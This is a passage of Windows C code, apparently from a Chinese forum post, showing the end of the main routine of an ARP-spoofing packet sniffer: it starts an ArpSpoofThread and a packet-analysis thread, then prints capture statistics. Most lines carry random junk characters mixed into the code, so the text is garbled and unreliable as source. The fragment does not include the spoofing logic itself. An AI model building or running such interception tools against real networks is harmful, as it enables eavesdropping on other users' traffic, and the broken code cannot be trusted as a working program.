7 y) Y8 b5 ]4 d% V0 R5 t2 @& F  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &amp;i, 0, 0);
  //create analyse packet thread
  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
9 W5 j; |  j: o7 u8 e3 f" ?: J  //create interface thread
9 N/ E, W3 k3 H0 {* ?% D  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
  //set console ctrl handle
  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
  {
    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
+ b3 ~- {* S( n( K, T    return 0;
  }
  //wait for any thread exit
( R0 m+ P$ O9 a7 [9 I2 K3 [- x  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
/ B$ v6 x' c( _% z. K: s$ C2 @2 c  //print the capture statistics
  V# l  k/ K7 c; O. Z' L. M  if(PacketGetStats(g_lpAdapter, &amp;stat) == FALSE)
    printf("Warning: unable to get stats from the kernel!\n");
& G2 \2 m$ n: O2 Y8 W1 R: T  else
    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
  //free resource   
/ q# q" X+ H' K7 H7 K+ {" [4 ]5 Y7 |  PacketFreePacket(g_lpSendPacket);
; M( x8 G4 w/ H* q5 s& F  PacketCloseAdapter(g_lpAdapter);
  return 0;
4 r' f- f1 y! x}
% [5 N. ~3 Z" P' Q6 g9 l
//
//功能：重置所有于ACTION有关的标志
0 D- P3 r# A. N/ `8 g& ~//